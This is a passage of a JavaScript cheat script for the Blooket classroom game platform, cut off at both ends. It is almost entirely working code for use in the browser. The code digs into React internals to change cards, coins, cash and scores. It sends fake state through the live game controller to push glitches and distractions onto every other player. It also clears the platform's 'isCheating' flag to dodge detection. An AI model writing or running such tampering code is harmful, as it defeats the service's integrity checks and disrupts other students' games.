let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1742
stateNode.setState({ isCheating: false });
1743
stateNode.props.liveGameController.setVal({
1744
path: `c/${stateNode.props.client.name}/ic`,
1745
val: false
1746
});
1747
}
1748
}
1749
],
1750
},
1751
doom: {
1752
name: "Tower of Doom",
1753
img: "https://media.blooket.com/image/upload/v1657235023/Media/survivor/cards-05.svg",
1754
cheats: [
1755
{
1756
name: "Fill Deck",
1757
description: "Fills your deck with every maxed out card and artifact (Only works on towers page)",
1758
run: function () {
1759
let i = document.createElement('iframe');
1760
document.body.append(i);
1761
window.alert = i.contentWindow.alert.bind(window);
1762
i.remove();
1763
if (window.location.pathname == "/tower/map") {
1764
const { a: artifacts, c: allCards } = webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache["gvfT"].exports;
1765
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1766
stateNode.props.tower.artifacts = Object.keys(artifacts);
1767
stateNode.props.tower.cards = Object.entries(allCards).map(([blook, card]) => ({ ...card, blook, strength: 20, charisma: 20, wisdom: 20 }));
1768
try { stateNode.props.addTowerNode(); } catch { };
1769
stateNode.setState({ showDeck: false });
1770
} else alert("You need to be on the map to run this cheat!");
1771
}
1772
},
1773
{
1774
name: "Max Cards",
1775
description: "Maxes out all the cards in your deck",
1776
run: function () {
1777
let i = document.createElement('iframe');
1778
document.body.append(i);
1779
window.alert = i.contentWindow.alert.bind(window);
1780
i.remove();
1781
if (window.location.pathname == "/tower/map") {
1782
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1783
stateNode.props.tower.cards.forEach(card => {
1784
card.strength = 20;
1785
card.charisma = 20;
1786
card.wisdom = 20;
1787
});
1788
} else alert("You need to be on the map to run this cheat!");
1789
}
1790
},
1791
{
1792
name: "Max Health",
1793
description: "Fills the player's health",
1794
run: function () {
1795
let i = document.createElement('iframe');
1796
document.body.append(i);
1797
window.alert = i.contentWindow.alert.bind(window);
1798
i.remove();
1799
if (window.location.pathname == "/tower/battle") Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ myHealth: 100 });
1800
else alert("You need to be in battle to run this cheat!");
1801
}
1802
},
1803
{
1804
name: "Max Card Stats",
1805
description: "Maxes out player's current card (Only works on attribute select page)",
1806
run: function () {
1807
let i = document.createElement('iframe');
1808
document.body.append(i);
1809
window.alert = i.contentWindow.alert.bind(window);
1810
i.remove();
1811
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1812
if (stateNode.state.phase !== 'select') alert('You must be on the attribute selection page!');
1813
else stateNode.setState({ myCard: { ...stateNode.state.myCard, strength: 20, charisma: 20, wisdom: 20 } });
1814
}
1815
},
1816
{
1817
name: "Min Enemy Stats",
1818
description: "Makes the enemy card stats all 0 (Only works on attribute select page)",
1819
run: function () {
1820
let i = document.createElement('iframe');
1821
document.body.append(i);
1822
window.alert = i.contentWindow.alert.bind(window);
1823
i.remove();
1824
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1825
if (stateNode.state.phase !== 'select') alert('You must be on the attribute selection page!');
1826
else stateNode.setState({ enemyCard: { ...stateNode.state.enemyCard, strength: 0, charisma: 0, wisdom: 0 } });
1827
}
1828
},
1829
{
1830
name: "Set Coins",
1831
description: "Try's to set amount of tower coins you have",
1832
inputs: [{
1833
name: "Coins",
1834
type: "number"
1835
}],
1836
run: function (coins) {
1837
let i = document.createElement('iframe');
1838
document.body.append(i);
1839
window.alert = i.contentWindow.prompt.bind(window);
1840
i.remove();
1841
if (window.location.pathname == "/tower/battle") {
1842
let coins = parseInt("0" + alert("How many coins would you like?"));
1843
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1844
try { stateNode.props.setTowerCoins(coins); } catch { };
1845
} else alert("You need to be in battle to run this cheat!");
1846
}
1847
}
1848
],
1849
},
1850
factory: {
1851
name: "Factory",
1852
img: "https://media.blooket.com/image/upload/v1661496293/Media/uiTest/Factory_Upgrades.svg",
1853
cheats: [
1854
{
1855
name: "Choose Blook",
1856
description: "Gives you a blook",
1857
inputs: [{
1858
name: "Blook",
1859
type: "options",
1860
options: [{ name: "Chick", color: "#ffcd05", class: "\uD83C\uDF3D", rarity: "Common", cash: [3, 7, 65, 400, 2500], time: [1, 1, 1, 1, 1], price: [300, 3e3, 3e4, 2e5] }, { name: "Chicken", color: "#ed1c24", class: "\uD83C\uDF3D", rarity: "Common", cash: [10, 40, 200, 1400, 1e4], time: [5, 4, 3, 2, 1], price: [570, 4e3, 5e4, 8e5] }, { name: "Cow", color: "#58595b", class: "\uD83C\uDF3D", rarity: "Common", cash: [25, 75, 1500, 25e3, 25e4], time: [15, 10, 10, 10, 5], price: [500, 9500, 16e4, 4e6] }, { name: "Duck", color: "#4ab96d", class: "\uD83C\uDF3D", rarity: "Common", cash: [4, 24, 200, 3e3, 4e4], time: [3, 3, 3, 3, 3], price: [450, 4200, 7e4, 11e5] }, { name: "Goat", color: "#c59a74", class: "\uD83C\uDF3D", rarity: "Common", cash: [5, 28, 200, 1300, 12e3], time: [3, 3, 2, 2, 2], price: [500, 6400, 45e3, 5e5] }, { name: "Horse", color: "#995b3c", class: "\uD83C\uDF3D", rarity: "Common", cash: [5, 20, 270, 1800, 15e3], time: [2, 2, 2, 2, 2], price: [550, 8200, 65e3, 6e5] }, { name: "Pig", color: "#f6a9cb", class: "\uD83C\uDF3D", rarity: "Common", cash: [20, 50, 1300, 8e3, 8e4], time: [7, 7, 7, 7, 5], price: [400, 11e3, 8e4, 13e5] }, { name: "Sheep", color: "#414042", class: "\uD83C\uDF3D", rarity: "Common", cash: [6, 25, 250, 1500, 11e3], time: [3, 3, 3, 2, 2], price: [500, 5e3, 5e4, 43e4] }, { name: "Cat", color: "#f49849", class: "\uD83D\uDC3E", rarity: "Common", cash: [5, 18, 170, 1700, 13e3], time: [2, 2, 2, 2, 2], price: [480, 5500, 6e4, 5e5] }, { name: "Dog", color: "#995b3c", class: "\uD83D\uDC3E", rarity: "Common", cash: [7, 25, 220, 1900, 9e3], time: [3, 3, 2, 2, 1], price: [460, 6600, 7e4, 73e4] }, { name: "Goldfish", color: "#f18221", class: "\uD83D\uDC3E", rarity: "Common", cash: [5, 40, 350, 3500, 35e3], time: [3, 3, 3, 3, 3], price: [750, 7200, 84e3, 95e4] }, { name: "Rabbit", color: "#e7bf9a", class: "\uD83D\uDC3E", rarity: "Common", cash: [3, 18, 185, 800, 7e3], time: [2, 2, 2, 1, 1], price: [500, 5800, 56e3, 55e4] }, { name: "Hamster", color: "#ce9176", class: "\uD83D\uDC3E", rarity: "Common", cash: [10, 45, 450, 4500, 45e3], time: [4, 4, 4, 4, 4], price: [650, 6500, 8e4, 93e4] }, { name: "Turtle", color: "#619a3c", class: "\uD83D\uDC3E", rarity: "Common", cash: [23, 120, 1400, 15e3, 17e4], time: [10, 10, 10, 10, 10], price: [700, 8500, 11e4, 13e5] }, { name: "Puppy", color: "#414042", class: "\uD83D\uDC3E", rarity: "Common", cash: [4, 10, 75, 500, 3e3], time: [1, 1, 1, 1, 1], price: [450, 4e3, 35e3, 25e4] }, { name: "Kitten", color: "#58595b", class: "\uD83D\uDC3E", rarity: "Common", cash: [4, 8, 60, 400, 2e3], time: [1, 1, 1, 1, 1], price: [350, 3500, 26e3, 17e4] }, { name: "Bear", color: "#995b3c", class: "\uD83C\uDF32", rarity: "Common", cash: [12, 70, 550, 4500, 1e5], time: [7, 7, 6, 5, 5], price: [550, 5500, 63e3, 16e5] }, { name: "Moose", color: "#995b3c", class: "\uD83C\uDF32", rarity: "Common", cash: [8, 45, 400, 3500, 26e3], time: [5, 5, 4, 4, 3], price: [520, 6500, 58e3, 7e5] }, { name: "Fox", color: "#f49849", class: "\uD83C\uDF32", rarity: "Common", cash: [7, 15, 80, 550, 3e3], time: [2, 2, 1, 1, 1], price: [400, 4e3, 36e3, 24e4] }, { name: "Raccoon", color: "#6d6e71", class: "\uD83C\uDF32", rarity: "Common", cash: [5, 14, 185, 1900, 19e3], time: [2, 2, 2, 2, 2], price: [400, 5e3, 71e3, 8e5] }, { name: "Squirrel", color: "#d25927", class: "\uD83C\uDF32", rarity: "Common", cash: [3, 10, 65, 470, 2600], time: [1, 1, 1, 1, 1], price: [420, 3600, 32e3, 21e4] }, { name: "Owl", color: "#594a42", class: "\uD83C\uDF32", rarity: "Common", cash: [4, 17, 155, 1500, 15e3], time: [2, 2, 2, 2, 2], price: [500, 4800, 55e3, 58e4] }, { name: "Hedgehog", color: "#3f312b", class: "\uD83C\uDF32", rarity: "Common", cash: [11, 37, 340, 2200, 3e4], time: [5, 4, 3, 2, 2], price: [540, 7e3, 77e3, 12e5] }, { name: "Seal", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [6, 17, 150, 1200, 13e3], time: [2, 2, 2, 2, 2], price: [480, 4500, 43e3, 52e4] }, { name: "Arctic Fox", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [5, 18, 180, 850, 8500], time: [2, 2, 2, 1, 1], price: [520, 550, 61e3, 68e4] }, { name: "Snowy Owl", color: "#feda3f", class: "❄️", rarity: "Common", cash: [5, 20, 190, 1900, 16e3], time: [3, 3, 2, 2, 2], price: [370, 5300, 76e3, 62e4] }, { name: "Arctic Hare", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [6, 19, 85, 900, 7e3], time: [2, 2, 1, 1, 1], price: [540, 5200, 66e3, 55e4] }, { name: "Penguin", color: "#fb8640", class: "❄️", rarity: "Common", cash: [4, 21, 310, 3200, 33e3], time: [3, 3, 3, 3, 3], price: [400, 6500, 76e3, 87e4] }, { name: "Baby Penguin", color: "#414042", class: "❄️", rarity: "Common", cash: [3, 8, 70, 450, 2700], time: [1, 1, 1, 1, 1], price: [420, 3300, 33e3, 23e4] }, { name: "Polar Bear", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [12, 75, 700, 6500, 85e3], time: [8, 7, 6, 5, 5], price: [630, 7e3, 91e3, 14e5] }, { name: "Walrus", color: "#7d4f33", class: "❄️", rarity: "Common", cash: [11, 46, 420, 3700, 51e3], time: [5, 5, 4, 4, 4], price: [550, 6200, 68e3, 1e6] }, { name: "Tiger", color: "#f18221", class: "\uD83C\uDF34", rarity: "Common", cash: [6, 20, 100, 975, 7500], time: [3, 3, 1, 1, 1], price: [390, 6e3, 7e4, 61e4] }, { name: "Jaguar", color: "#fbb040", class: "\uD83C\uDF34", rarity: "Common", cash: [8, 28, 230, 1600, 17e3], time: [3, 3, 2, 2, 2], price: [390, 6e3, 7e4, 61e4] }, { name: "Toucan", color: "#ffca34", class: "\uD83C\uDF34", rarity: "Common", cash: [9, 20, 175, 625, 3800], time: [2, 2, 2, 1, 1], price: [520, 4800, 42e3, 3e5] }, { name: "Cockatoo", color: "#7ca1d5", class: "\uD83C\uDF34", rarity: "Common", cash: [6, 35, 160, 1700, 18e3], time: [4, 4, 2, 2, 2], price: [500, 5e3, 63e3, 7e5] }, { name: "Macaw", color: "#00aeef", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 8, 85, 850, 8500], time: [1, 1, 1, 1, 1], price: [480, 5400, 62e3, 63e4] }, { name: "Parrot", color: "#ed1c24", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 9, 90, 900, 9e3], time: [1, 1, 1, 1, 1], price: [540, 5700, 65e3, 69e4] }, { name: "Panther", color: "#2f2c38", class: "\uD83C\uDF34", rarity: "Common", cash: [12, 28, 215, 2100, 21e3], time: [5, 3, 2, 2, 2], price: [530, 6500, 76e3, 87e4] }, { name: "Anaconda", color: "#8a9143", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 15, 85, 1500, 7600], time: [1, 2, 1, 2, 1], price: [410, 5100, 58e3, 59e4] }, { name: "Orangutan", color: "#bc6234", class: "\uD83C\uDF34", rarity: "Common", cash: [13, 52, 570, 4300, 7e4], time: [5, 5, 5, 4, 4], price: [600, 7e3, 8e4, 14e5] }, { name: "Capuchin", color: "#e0b0a6", class: "\uD83C\uDF34", rarity: "Common", cash: [4, 14, 160, 780, 8200], time: [2, 2, 2, 1, 1], price: [390, 4700, 57e3, 68e4] }, { name: "Elf", color: "#a7d054", class: "⚔️", rarity: "Uncommon", cash: [5e3, 15e3, 15e4, 15e5, 1e7], time: [1, 1, 1, 1, 1], price: [8e5, 9e6, 11e7, 8e8] }, { name: "Witch", color: "#4ab96d", class: "⚔️", rarity: "Uncommon", cash: [18e3, 6e4, 4e4, 4e6, 35e6], time: [3, 3, 2, 2, 2], price: [11e5, 12e6, 15e7, 14e8] }, { name: "Wizard", color: "#5a459c", class: "⚔️", rarity: "Uncommon", cash: [19500, 65e3, 44e4, 46e5, 4e6], time: [3, 3, 2, 2, 2], price: [13e5, 135e5, 16e7, 16e8] }, { name: "Fairy", color: "#df6d9c", class: "⚔️", rarity: "Uncommon", cash: [18500, 6e4, 62e4, 44e5, 38e6], time: [3, 3, 3, 2, 2], price: [12e5, 125e5, 15e6, 15e8] }, { name: "Slime Monster", color: "#2fa04a", class: "⚔️", rarity: "Uncommon", cash: [35e3, 14e4, 1e6, 11e6, 11e7], time: [5, 5, 4, 4, 4], price: [16e5, 15e6, 2e8, 23e8] }, { name: "Jester", color: "#be1e2d", class: "⚔️", rarity: "Rare", cash: [25e3, 1e5, 68e4, 65e5, 32e6], time: [3, 3, 2, 2, 1], price: [2e6, 21e6, 23e7, 26e8] }, { name: "Dragon", color: "#2fa04a", class: "⚔️", rarity: "Rare", cash: [36e3, 15e4, 15e5, 15e6, 15e7], time: [4, 4, 4, 4, 4], price: [23e5, 24e6, 27e7, 3e9] }, { name: "Unicorn", color: "#f6afce", class: "⚔️", rarity: "Epic", cash: [24e3, 15e4, 14e5, 7e6, 75e6], time: [2, 2, 2, 1, 1], price: [45e5, 45e6, 55e7, 65e8] }, { name: "Queen", color: "#9e1f63", class: "⚔️", rarity: "Rare", cash: [24e3, 95e3, 95e4, 97e5, 95e6], time: [3, 3, 3, 3, 3], price: [19e5, 2e7, 23e7, 25e8] }, { name: "King", color: "#ee2640", class: "⚔️", rarity: "Legendary", cash: [75e3, 4e5, 6e6, 9e7, 125e7], time: [5, 5, 5, 5, 5], price: [6e6, 95e6, 16e8, 25e9] }, { name: "Two of Spades", color: "#414042", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [4500, 14e3, 14e4, 14e5, 9e6], time: [1, 1, 1, 1, 1], price: [77e4, 83e5, 98e6, 71e7] }, { name: "Eat Me", color: "#d58c55", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [13e3, 45e3, 45e4, 45e5, 5e7], time: [2, 2, 2, 2, 2], price: [13e5, 14e6, 16e7, 2e9] }, { name: "Drink Me", color: "#dd7399", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [12e3, 4e4, 4e5, 4e6, 45e6], time: [2, 2, 2, 2, 2], price: [12e5, 12e6, 14e7, 18e8] }, { name: "Alice", color: "#4cc9f5", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [13e3, 42e3, 21e4, 21e5, 23e6], time: [2, 2, 1, 1, 1], price: [12e5, 13e6, 15e7, 19e8] }, { name: "Queen of Hearts", color: "#d62027", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [23e3, 87e3, 62e4, 75e5, 9e7], time: [4, 4, 3, 3, 3], price: [13e5, 13e6, 18e7, 24e8] }, { name: "Dormouse", color: "#89d6f8", class: "\uD83C\uDFF0", rarity: "Rare", cash: [17e3, 68e3, 7e5, 35e5, 35e6], time: [2, 2, 1, 1, 1], price: [2e6, 22e6, 25e7, 28e8] }, { name: "White Rabbit", color: "#ffcd05", class: "\uD83C\uDFF0", rarity: "Rare", cash: [26e3, 105e3, 11e6, 77e5, 72e6], time: [3, 3, 3, 2, 2], price: [2e6, 23e6, 28e7, 29e8] }, { name: "Cheshire Cat", color: "#dd7399", class: "\uD83C\uDFF0", rarity: "Rare", cash: [32e3, 1e5, 9e5, 9e6, 6e7], time: [4, 3, 3, 3, 2], price: [18e5, 19e6, 22e7, 24e8] }, { name: "Caterpillar", color: "#00c0f3", class: "\uD83C\uDFF0", rarity: "Epic", cash: [1e4, 7e4, 65e4, 75e5, 85e6], time: [1, 1, 1, 1, 1], price: [42e5, 42e6, 54e7, 69e8] }, { name: "Mad Hatter", color: "#914f93", class: "\uD83C\uDFF0", rarity: "Epic", cash: [38e3, 25e4, 15e5, 14e6, 8e7], time: [3, 3, 2, 2, 1], price: [48e5, 48e6, 52e7, 66e8] }, { name: "King of Hearts", color: "#c62127", class: "\uD83C\uDFF0", rarity: "Legendary", cash: [8e4, 42e4, 68e5, 1e8, 15e8], time: [5, 5, 5, 5, 5], price: [7e6, 11e7, 18e8, 3e10] }, { name: "Earth", color: "#416eb5", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [15e3, 45e3, 6e5, 65e5, 65e6], time: [3, 3, 3, 3, 3], price: [1e6, 11e6, 15e7, 17e8] }, { name: "Meteor", color: "#c68c3c", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [23e3, 65e3, 7e5, 45e5, 2e7], time: [5, 4, 3, 2, 1], price: [95e4, 13e6, 16e7, 16e8] }, { name: "Stars", color: "#19184d", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [1e4, 4e4, 2e5, 2e6, 18e6], time: [2, 2, 1, 1, 1], price: [14e5, 14e6, 15e7, 15e8] }, { name: "Alien", color: "#8dc63f", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [3e4, 1e5, 1e6, 11e6, 85e6], time: [4, 4, 4, 4, 4], price: [15e5, 17e6, 19e7, 17e8] }, { name: "Planet", color: "#9dc6ea", class: "\uD83D\uDE80", rarity: "Rare", cash: [25e3, 1e5, 9e5, 9e6, 9e7], time: [3, 3, 3, 3, 3], price: [2e6, 21e6, 21e7, 24e8] }, { name: "UFO", color: "#a15095", class: "\uD83D\uDE80", rarity: "Rare", cash: [17e3, 7e4, 7e5, 7e6, 7e7], time: [2, 2, 2, 2, 2], price: [21e5, 23e6, 25e7, 28e8] }, { name: "Spaceship", color: "#ffcb29", class: "\uD83D\uDE80", rarity: "Epic", cash: [6e4, 32e4, 21e5, 15e6, 85e6], time: [5, 4, 3, 2, 1], price: [48e5, 46e6, 54e7, 68e8] }, { name: "Astronaut", color: "#9bd4ee", class: "\uD83D\uDE80", rarity: "Legendary", cash: [45e3, 26e4, 25e5, 38e6, 55e7], time: [3, 3, 2, 2, 2], price: [65e5, 1e8, 17e8, 27e9] }, { name: "Lil Bot", color: "#3e564a", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [4e3, 12e3, 18e4, 19e5, 25e6], time: [1, 1, 1, 1, 1], price: [73e4, 12e6, 13e7, 19e8] }, { name: "Lovely Bot", color: "#f179af", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [16e3, 65e3, 65e4, 48e5, 42e6], time: [3, 3, 3, 2, 2], price: [13e5, 14e6, 17e7, 16e8] }, { name: "Angry Bot", color: "#f1613a", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [22e3, 85e3, 8e5, 62e5, 65e6], time: [4, 4, 4, 3, 3], price: [12e5, 13e6, 15e7, 17e8] }, { name: "Happy Bot", color: "#51ba6b", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [11e3, 45e3, 5e5, 25e5, 3e7], time: [2, 2, 2, 1, 1], price: [14e5, 15e6, 18e7, 24e8] }, { name: "Watson", color: "#d69b5a", class: "\uD83E\uDD16", rarity: "Rare", cash: [24e3, 1e5, 1e6, 1e7, 1e8], time: [3, 3, 3, 3, 3], price: [2e6, 22e6, 24e7, 26e8] }, { name: "Buddy Bot", color: "#9dc6ea", class: "\uD83E\uDD16", rarity: "Rare", cash: [22e3, 95e3, 65e4, 65e5, 65e6], time: [3, 3, 2, 2, 2], price: [19e5, 21e6, 23e7, 25e8] }, { name: "Brainy Bot", color: "#9ecf7a", class: "\uD83E\uDD16", rarity: "Epic", cash: [5e4, 25e4, 21e5, 21e6, 17e7], time: [4, 3, 3, 3, 2], price: [5e6, 46e6, 5e8, 67e8] }, { name: "Mega Bot", color: "#d71f27", class: "\uD83E\uDD16", rarity: "Legendary", cash: [8e4, 43e4, 42e5, 62e6, 1e9], time: [5, 5, 3, 3, 3], price: [7e6, 12e7, 19e8, 35e9] }].map(x => ({ name: x.name, value: JSON.stringify(x) }))
1861
}],
1862
run: function (blook) {
1863
let i = document.createElement('iframe');
1864
document.body.append(i);
1865
window.alert = i.contentWindow.alert.bind(window);
1866
i.remove();
1867
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1868
if (stateNode.state.blooks.length >= 10) alert("Choose a blook to replace");
1869
stateNode.chooseBlook(JSON.parse(blook));
1870
}
1871
},
1872
{
1873
name: "Free Upgrades",
1874
description: "Sets upgrade prices to 0 for all current blooks",
1875
run: function () {
1876
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1877
stateNode.setState(state => ({ ...state, blooks: state.blooks.map(blook => ({ ...blook, price: [0, 0, 0, 0] })) }));
1878
}
1879
},
1880
{
1881
name: "Max Blooks",
1882
description: "Maxes out all your blooks' levels",
1883
run: function () {
1884
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.blooks.forEach(blook => blook.level = 4);
1885
}
1886
},
1887
{
1888
name: "Remove Glitches",
1889
description: "Removes all enemy glitches",
1890
run: function () {
1891
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1892
stateNode.setState({
1893
bits: 0,
1894
ads: [],
1895
hazards: [],
1896
color: "",
1897
lol: false,
1898
joke: false,
1899
slow: false,
1900
dance: false,
1901
glitch: "",
1902
glitcherName: "",
1903
glitcherBlook: ""
1904
});
1905
clearTimeout(stateNode.adTimeout);
1906
clearInterval(stateNode.hazardInterval);
1907
clearTimeout(stateNode.nightTimeout);
1908
clearTimeout(stateNode.glitchTimeout);
1909
clearTimeout(stateNode.lolTimeout);
1910
clearTimeout(stateNode.jokeTimeout);
1911
clearTimeout(stateNode.slowTimeout);
1912
clearTimeout(stateNode.danceTimeout);
1913
clearTimeout(stateNode.nameTimeout);
1914
}
1915
},
1916
{
1917
name: "Send Glitch",
1918
description: "Sends a glitch to everyone else playing",
1919
inputs: [{
1920
name: "Glitch",
1921
type: "options",
1922
options: Object.entries({ lb: "Lunch Break", as: "Ad Spam", e37: "Error 37", nt: "Night Time", lo: "#LOL", j: "Jokester", sm: "Slow Mo", dp: "Dance Party", v: "Vortex", r: "Reverse", f: "Flip", m: "Micro" }).map(([value, name]) => ({ name, value }))
1923
}],
1924
run: function (val) {
1925
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1926
stateNode.safe = true;
1927
stateNode.props.liveGameController.setVal({ path: `c/${stateNode.props.client.name}/tat`, val });
1928
}
1929
},
1930
{
1931
name: "Set All MegaBot",
1932
description: "Sets all your blooks to maxed out Mega Bots",
1933
run: function () {
1934
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({
1935
blooks: new Array(10).fill({
1936
name: "Mega Bot",
1937
color: "#d71f27",
1938
class: "🤖",
1939
rarity: "Legendary",
1940
cash: [8e4, 43e4, 42e5, 62e6, 1e9],
1941
time: [5, 5, 3, 3, 3],
1942
price: [7e6, 12e7, 19e8, 35e9],
1943
active: false,
1944
level: 4,
1945
bonus: 5.5
1946
})
1947
});
1948
}
1949
},
1950
{
1951
name: "Set Cash",
1952
description: "Sets amount of cash you have",
1953
inputs: [{
1954
name: "Cash",
1955
type: "number"
1956
}],
1957
run: function (cash) {
1958
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ cash });
1959
}
1960
}
1961
],
1962
},
1963
fishing: {
1964
name: "Fishing Frenzy",
1965
img: "https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Fish_Weight.svg",
1966
cheats: [
1967
{
1968
name: "Frenzy",
1969
description: "Sets everyone to frenzy mode",
1970
run: function () {
1971
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1972
stateNode.props.liveGameController.setVal({
1973
path: `c/${stateNode.props.client.name}`,
1974
val: {
1975
b: stateNode.props.client.blook,
1976
w: stateNode.state.weight,
1977
f: "Frenzy",
1978
s: true
1979
}
1980
});
1981
}
1982
},
1983
{
1984
name: "Remove Distractions",
1985
description: "Removes distractions",
1986
type: "toggle",
1987
enabled: false,
1988
data: null,
1989
run: function () {
1990
if (!this.enabled) {
1991
this.enabled = true;
1992
this.data = setInterval(() => {
1993
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ party: "" });
1994
}, 50);
1995
} else {
1996
this.enabled = false;
1997
clearInterval(this.data);
1998
this.data = null;
1999
}
2000
}
2001
},
2002
{
2003
name: "Send Distraction",
2004
description: "Sends a distraction to everyone",
2005
inputs: [{
2006
name: "Distraction",
2007
type: "options",
2008
options: ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"]
2009
}],
2010
run: function (f) {
2011
let i = document.createElement('iframe');
2012
document.body.append(i);
2013
window.alert = i.contentWindow.alert.bind(window);
2014
i.remove();
2015
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2016
stateNode.safe = true;
2017
stateNode.props.liveGameController.setVal({
2018
path: `c/${stateNode.props.client.name}`,
2019
val: {
2020
b: stateNode.props.client.blook,
2021
w: stateNode.state.weight, f, s: true
2022
}
2023
});
2024
}
2025
},
2026
{
2027
name: "Set Lure",
2028
description: "Sets fishing lure (range 1 - 5)",
2029
inputs: [{
2030
name: "Lure (1 - 5)",
2031
type: "number",
2032
min: 1,
2033
max: 5
2034
}],
2035
run: function (lure) {
2036
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ lure: Math.max(Math.min(lure - 1, 4), 0) });
2037
}
2038
},
2039
{
2040
name: "Set Weight",
2041
description: "Sets weight",
2042
inputs: [{
2043
name: "Weight",
2044
type: "number"
2045
}],
2046
run: function (weight) {
2047
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2048
stateNode.setState({ weight, weight2: weight });
2049
stateNode.props.liveGameController.setVal({
2050
path: `c/${stateNode.props.client.name}`,
2051
val: {
2052
b: stateNode.props.client.blook,
2053
w: weight,
2054
f: ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math.floor(Math.random() * 9)]
2055
}
2056
});
2057
}
2058
}
2059
],
2060
},
2061
flappy: {
2062
name: "Flappy Blook",
2063
img: "https://media.blooket.com/image/upload/v1645222006/Blooks/yellowBird.svg",
2064
cheats: [
2065
{
2066
name: "Toggle Ghost",
2067
description: "Lets you go through the pipes",
2068
type: "toggle",
2069
enabled: false,
2070
run: function () {
2071
this.enabled = !this.enabled;
2072
Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x.gameObject.frame.texture.key.startsWith("blook") && (x.checkCollision.none = this.enabled, x.gameObject.setAlpha(this.enabled ? 0.5 : 1)));
2073
}
2074
},
2075
{
2076
name: "Set Score",
2077
description: "Sets flappy blook score",
2078
inputs: [{
2079
name: "Score",
2080
type: "number"
2081
}],
2082
run: function (score) {
2083
Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.setState({ score });
2084
}
2085
}
2086
],
2087
},
2088
gold: {
2089
name: "Gold Quest",
2090
